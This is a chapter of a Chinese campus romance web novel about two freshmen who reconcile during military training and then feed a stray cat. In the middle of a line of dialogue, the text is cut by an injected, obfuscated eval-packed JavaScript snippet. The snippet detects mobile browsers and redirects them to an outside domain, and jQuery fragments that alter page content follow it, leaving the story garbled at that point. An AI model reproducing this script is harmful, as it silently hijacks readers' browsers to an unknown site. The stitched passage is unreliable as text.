连着几天,黄澄周围明显都被持续的低气压笼罩,阴沉沉的汇聚一团巨大的乌云,带着若隐若现的闪电。
站军姿时,她感到身后那个目光仿佛要把她生吞活剥,开膛入腹。
向后转时,又不小心和言和年对视,对方绷着脸,紧抿着唇盯住她,吓得黄澄打了个冷颤。
这样下去可不行,她昨天晚上做梦都是他开大会时扭头看她的那一眼。
梦里言和年变成了一个红眼丧尸,跛着一条腿,张着满口青灰色獠牙伸直胳膊朝她扑过来,半夜被吓醒后几乎没有再睡着。
她干脆坐在落地窗边的学习桌前,打开插在那里的圆粉色少女台灯调成护眼模式,仔细回想当初自己父亲惹母亲生气时怎么道歉的。
虽然两者的身份不太对,但是道歉的办法无非就那么几种。
思来想去直到后半夜,她才准备好道歉用的物品,稍稍安心睡去。
此时看着放在马扎上的书包,内心祈祷不要再出什么差错。
“立正,稍息!原地休息二十分钟!”一个小时的军姿站完,教练才开口让他们休息。
黄澄走到自己的马扎旁边拿起背包,看见那瓶草莓牛奶安然无恙的在那放着,松了一口气准备把它拿给言和年。
在散乱的人群中找了一会儿,发现他站在教官面前不知在说些什么。
她顿住脚步选择先不过去,旁边是上次吃饭碰见的那一群女生,围在一起说说笑笑。
虽说高一不强求住校,但是班里只有寥寥几个走读生,住在一个宿舍的男生或女生已经很快熟悉并且打成一片,黄澄自己无聊地坐在那里踢着脚下的碎石子玩。
上次那个戴眼镜的女生往这边一撇,看见了这几天都是一个人待着的黄澄,开口询问:“你今天中午也是一个人吃饭嘛,要不要和我们一起?”
突然有人主动和自己说话,她没控制好力道,脚下石子一飞,似乎踢到了人。
两人的注意力被那颗飞得很远的石子吸引住,目光随之移动,最后落在了一双带着她叫不出来牌子的灰白色板鞋上。
心里有一股不祥的预感蔓延开,脊髓仿佛被人猛地抽走,她紧张地咽了一口唾沫,这才缓缓抬眼看去。
果不其然,对上了言和年不善的目光。
他眼尾晕染着一抹红,一瞬不动地紧盯着黄澄,一边高一边低地朝着她走来。
这一刻,现实与昨晚的梦境重叠,他殷红的桃花唇瓣微张,成了来索命的讯号。
黄澄大脑一片空白,嘈杂的人声仿佛沉溺在水中渐渐退却,她脑中警铃大作,只余下一个冲动:跑,马上跑!
她抱紧自己的书包,不自觉往后退了两步,随即朝着远离言和年的方向冲去。
见她要走,言和年疑惑地蹙眉,加快了脚下追赶她的步伐:“你跑什么?”
他语气不悦。
她听不清他在说什么,只能看见红唇张张合合像吃人的恶鬼,再加上他错乱的步伐,一切在黄澄眼里显得更惊悚了。
她加快速度向前跑,嘴里喃喃着:“丧尸围城...丧尸围城...”
“丧什么?”在她即将跑出自由活动的场地范围时,教官像拎小鸡仔一样把她抓住,训斥道,“说了原地休息,你乱跑什么,还拿着书包就怕我看不见。”
那边言和年看见她停住,也扶着自己隐隐发痛的腿停下来,几乎从来没有做过剧烈运动的他,微弯着腰,气喘吁吁地停下来。
意识到汗珠从脖颈滚到锁骨上的小痣旁,再隐入衣领深处,他烦躁地收拢眉心,长而翘的睫毛下压落下一片阴影。
回想着开学为止所有经历,他深切的意识到眼前的这个女生有着和自己相反的不同寻常的好运,并且最重要的是,她克自己。
她能无意识地让本就倒霉的自己变得更加倒霉。
保持距离,必须保持距离!
站在原地深喘了几口气,言和年这才一瘸一拐的再次向黄澄走去。
“教官说让我和你一起去医务室换药。”他的声音平淡,听不出一丝情绪。
刚从教官那了解实情的黄澄,此时心中愧疚更甚,恨不得挖个坑把自己埋起来。
她觉得自己应该从入学第一天就买把铁锹,藏在学校的某个角落,每天挖一点,到高考那天刚好挖出一个大坑直接跳进去入土为安。
也刚好省得她这在学习上不太开窍的脑子气死父母,气活祖先。
“赶紧去吧,休息时间马上到了。”教官重新回到班级里,和一些性格外向的学生们说笑。
“那个...我不小心踢到你,你一脸怒气的向我走来,我以为你来揍我了,这才吓得跑开。”黄澄手里还拿着自己的背包,在思考此时是不是一个道歉的好机会。
“嗯。”他不咸不淡的应了声,想着怎么不动声色的和她保持距离,最后在黄澄即将拿出包里的牛奶时,憋出了一句,“我们两个还是不要往来的太频繁,风气不好。”
“嗯?”黄澄微眯着眼,水润的目光中盛满了不可思议与不解,“你不要突然抽风,这样会让别人误以为我们两个有什么奸情。”
她抖了抖自己身上的鸡皮疙瘩,往远离他的方向后退了几步。
“我不是那个意思!”被她这样看着,他的脸以肉眼可见的速度再次变红,斑斑点点迅速从脸颊扩展到耳根和脖颈,整个人像一颗熟透了的番茄。
“算了,我什么也没有说。”他干脆自暴自弃,唇角紧绷敛出一条直线,不再开口说话了。
黄澄见他快要把自己气死,有些想笑的同时又有点心虚。
拿出一直握在手里那瓶草莓牛奶,用记号笔画上插画的那面对着他:“对不起,开学以来的所有都很抱歉,以后好好相处吧。”
她还是第一次这么“迫害”一个人,说话时语气有些紧张。
言和年被她这突如其来的真挚道歉吓一跳,不由自主的朝她面看去,玻璃瓶身商标的空白处画着一个泪眼汪汪的小女孩,手里举着牌子说对不起。
心里的憋闷好像突然散了一大半,嘴角控制不住地想往上翘。
刚冷静下来的脸再度涨红:“不,不用,我也没有很生气,你也不是故意的...”
“什么,我听不见你说什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535399|186526||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”四周的风声有些大,黄澄站的离他有一米多远。
严格遵守刚刚保持距离的话,伸直胳膊把那瓶牛奶给他递过去。
言和年快要翘起的嘴角立刻放平,他果然不该对她抱有什么期待,但为了表明自己没有在生气,同样伸直胳膊去接那瓶牛奶。
可惜,两人都费力将自己的胳膊伸到最长,中间还有差不多10厘米才能够到。
“这是在做什么?”路过的人看见他俩奇怪的举止,目光疑惑地停留片刻,嘀嘀咕咕地走开了。
言和年意识到自己在干什么时,嘴角微微抽搐,跛腿迈了一大步接过那瓶牛奶,小声道:“谢谢...”
“哦...没事。”黄澄把手背在身后,两人平和的走完了这段路。
回去之后,班里人惊奇的发现这两人之间剑拔弩张的氛围消失了,取而代之的是诡异的平和。
-
这天放学校门口依旧停满了车,黄澄出门前提前告诉黄青雯自己要坐公交回去。
宜安市划分有专门的公交线,一般机动车是不许在这条线路上行驶的,所以在这种情况下,相较于开车来接,坐公交车回去更为方便一些。
当然,黄澄还抱着其他小心思——她好久没有买彩票了。
教官解散的口令一响,她就背着自己的包悠哉悠哉地走了。
泽华中学的初中部和高中部,都在同一条街上,黄澄就是从初中部直升上来的,初中三年下来,她对这条街很熟。
原本以她的成绩是上不了这个高中的,但今年题难,她的选择题又几乎恰好全部蒙对。
再加上隔壁稍逊一些的中学,今年考上名牌大学的人数隐隐有压泽华中学一头的趋势,校领导对此采取了扩招政策。
这才让黄澄捡了漏,擦边上了这个高中。
看见被录取的那天,邵明高兴地在她姥姥家胡同口连着摆了三天流水席,免费请人吃。
走到校门口她看见了先一步离开的言和年,迈着脚步犹豫片刻还是过去打了个招呼:“在等家长来接吗?”
“嗯,又堵车了,估计得好一会儿。”他特意找个借口先离开就是不想撞上高峰期,但还是堵了这么久没到。
走近了才发现他身边卧着一只不知从哪里窜出来的小野猫,脊背上有一撮类似心型的宝石蓝色毛,四条腿呈雪白色,像穿了袜子。
看起来岁数不大,正围在言和年的脚边撒娇叫唤。
姥姥家养有猫狗,所以黄澄对小动物还是有些了解的,此时看着小猫瘪下去的肚子,说道:“它估计是饿了。”
一开口,言和年和小猫的视线齐齐转到她身上,一人一猫脸上的神情出乎意料的相似。
“为什么,它是流浪猫,不应该会自己找吃的吗?”他真挚发问。
“它这么小一点,怎么自己找吃的啊。”
“也是。”
黄澄突然想起自己开学前去过姥姥家一趟,如果没记错的话书包隔层里应该还有几个独立包装的猫冻干。
把里面东西扒拉开,翻找出两个冻干,递给言和年一个,问道:“你要喂吗?”